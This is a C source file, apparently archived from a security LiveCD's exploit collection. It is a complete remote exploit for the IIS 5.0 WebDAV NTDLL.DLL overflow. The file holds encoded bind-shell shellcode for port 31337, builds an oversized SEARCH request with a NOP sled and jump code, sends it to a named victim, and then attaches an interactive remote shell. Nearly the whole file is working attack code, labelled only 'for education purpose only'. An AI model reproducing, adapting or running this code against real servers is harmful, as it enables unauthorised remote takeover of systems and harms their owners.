home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / Xnuxer.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  263 lines

  1. /*
  2.  * IIS 5.0 WebDAV Exploit versi Xnuxer Lab
  3.  * By Schizoprenic, Copyright (c) 2003
  4.  * For education purpose only
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <errno.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <fcntl.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <netdb.h>
  15. #include <netinet/in.h>
  16.  
  17. #define  RET             0xc9c9
  18. #define  LOADLIBRARYA    0x0100107c
  19. #define  GETPROCADDRESS  0x01001034
  20. #define  PORT_OFFSET     1052
  21. #define  LOADL_OFFSET    798
  22. #define  GETPROC_OFFSET  815
  23. #define  NOP             0x90
  24.  
  25. unsigned char shellcode[] =            // Deepzone shellcode
  26.   "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
  27.   "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
  28.   "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99"
  29.   "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14"
  30.   "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b"
  31.   "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9"
  32.   "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3"
  33.   "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99"
  34.   "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99"
  35.   "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9"
  36.   "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9"
  37.   "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c"
  38.   "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf"
  39.   "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf"
  40.   "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc"
  41.   "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9"
  42.   "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9"
  43.   "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c"
  44.   "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99"
  45.   "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89"
  46.   "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3"
  47.   "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1"
  48.   "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf"
  49.   "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9"
  50.   "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66"
  51.   "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99"
  52.   "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf"
  53.   "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32"
  54.   "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14"
  55.   "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3"
  56.   "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59"
  57.   "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70"
  58.   "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66"
  59.   "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b"
  60.   "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99"
  61.   "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9"
  62.   "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf"
  63.   "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70"
  64.   "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66"
  65.   "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9"
  66.   "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99"
  67.   "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf"
  68.   "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9"
  69.   "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6"
  70.   "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe"
  71.   "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8"
  72.   "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66"
  73.   "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14"
  74.   "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34"
  75.   "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9"
  76.   "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8"
  77.   "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8"
  78.   "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c"
  79.   "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20"
  80.   "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b"
  81.   "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b"
  82.   "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1"
  83.   "\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8"
  84.   "\xcf\xca\xf1\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d"
  85.   "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2"
  86.   "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd"
  87.   "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed"
  88.   "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6"
  89.   "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc"
  90.   "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc"
  91.   "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff"
  92.   "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc"
  93.   "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9"
  94.   "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6"
  95.   "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0"
  96.   "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda"
  97.   "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0"
  98.   "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd"
  99.   "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7"
  100.   "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7"
  101.   "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  102.   "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99"
  103.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  104.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  105.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  106.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  107.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  108.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  109.   "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  110.   "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99"
  111.   "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  112.   "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90";
  113.  
  114. unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7";
  115. char body[] = "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
  116.               "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
  117.               "</g:searchrequest>\r\n";
  118.  
  119. void usage(char *prog)
  120. {
  121.    printf("Remote Exploit for IIS 5.0 WebDAV by Xnuxer\n"
  122.           "Bug overflow NTDLL.DLL\n"
  123.           "Usage: %s <victim>\n", prog);
  124.    exit(-1);
  125. }
  126.  
  127. void shell(int sock)
  128. {
  129.  fd_set  fd_read;
  130.  char buff[1024];
  131.  int n;
  132.  
  133.  while(1) {
  134.   FD_SET(sock,&fd_read);
  135.   FD_SET(0,&fd_read);
  136.  
  137.   if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  138.  
  139.   if( FD_ISSET(sock, &fd_read) ) {
  140.    n=read(sock,buff,sizeof(buff));
  141.    if (n == 0) {
  142.        printf ("Connection closed.\n");
  143.        exit(EXIT_FAILURE);
  144.    } else if (n < 0) {
  145.        perror("read remote");
  146.        exit(EXIT_FAILURE);
  147.    }
  148.    write(1,buff,n);
  149.   }
  150.  
  151.   if ( FD_ISSET(0, &fd_read) ) {
  152.     if((n=read(0,buff,sizeof(buff)))<=0){
  153.       perror ("read user");
  154.       exit(EXIT_FAILURE);
  155.     }
  156.     write(sock,buff,n);
  157.   }
  158.  }
  159.  close(sock);
  160. }
  161.  
  162. int main(int argc, char **argv)
  163. {
  164. struct hostent *he;
  165. struct sockaddr_in sock1;
  166. struct sockaddr_in sock2;
  167. unsigned short port;
  168. unsigned long ret=RET;
  169. char buffer[100000];
  170. int sock, sck, h,i,j;
  171.  
  172.    if (argc != 2) usage(argv[0]);
  173.  
  174.    printf("Resolving %s .. ", argv[1]);
  175.    if ((he = gethostbyname(argv[1])) == NULL)
  176.    {
  177.       fprintf(stderr, "Unknown host\n");
  178.       exit(-1);
  179.    }
  180.  
  181.    printf("Resolved\n");
  182.  
  183.    port = htons(31337);
  184.    port ^= 0x9999;
  185.  
  186.    *(unsigned short *)&shellcode[PORT_OFFSET] = port;
  187.    *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;
  188.    *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;
  189.  
  190.    bcopy(he->h_addr, &sock1.sin_addr, he->h_length);
  191.    sock1.sin_family = AF_INET;
  192.    sock1.sin_port = htons(80);
  193.  
  194.    printf("[+] Attacking to %s via port: 80\n", argv[1]);
  195.  
  196.    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  197.       perror("Failed to create socket");
  198.       exit(-1);
  199.    }
  200.  
  201.    if (connect(sock, (struct sockaddr *)&sock1, sizeof(sock1)) == -1)
  202.    {
  203.       perror("Failed to connect");
  204.       exit(-1);
  205.    }
  206.  
  207.    bzero(buffer,100000);
  208.    strcpy(buffer,"SEARCH /");
  209.  
  210.    i = strlen(buffer);
  211.    buffer[i] = NOP;
  212.  
  213.    for (j=i+1; j < i+2150; j+=2)
  214.        *(unsigned short *)&buffer[j] = (unsigned short)ret;
  215.  
  216.    for (; j < i+65535-strlen(jumpcode); j++)
  217.        buffer[j] = NOP;
  218.  
  219.    memcpy(&buffer[j], jumpcode, strlen(jumpcode));
  220.    strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n");
  221.    sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\n"
  222.                                   "Content-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode));
  223.    strcpy(buffer+strlen(buffer), body);
  224.    memset(buffer+strlen(buffer), 0x01, 1);
  225.    memset(buffer+strlen(buffer), NOP, 3);
  226.    strcpy(buffer+strlen(buffer), shellcode);
  227.  
  228.    if (send(sock, buffer, strlen(buffer), 0) != strlen(buffer))
  229.    {
  230.       perror("Failed to send");
  231.       exit(-1);
  232.    }
  233.  
  234.    printf("[+] Overflow sent, waiting for 5 seconds\n");
  235.    sleep(5);
  236.  
  237.    bcopy(he->h_addr, &sock2.sin_addr, he->h_length);
  238.    sock2.sin_family = AF_INET;
  239.    sock2.sin_port = htons(31337);
  240.  
  241.    printf("[+] Connecting to %s: 31337\n", argv[1]);
  242.  
  243.    if ((sck = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  244.       perror("Failed to create socket");
  245.       exit(-1);
  246.    }
  247.  
  248.    if (connect(sck, (struct sockaddr *)&sock2, sizeof(sock2)) == -1)
  249.    {
  250.       printf("[+] Unable to connect.\n"
  251.              "[+] Exploitation failed, maybe blocked by firewall.\n");
  252.       close(sock);
  253.       close(sck);
  254.       exit(-1);
  255.    }
  256.  
  257.    close(sock);
  258.    printf("[+] Successfull, attempting to join shell ...\n\n");
  259.    shell(sck);
  260.    return 0;
  261. }
  262.  
  263.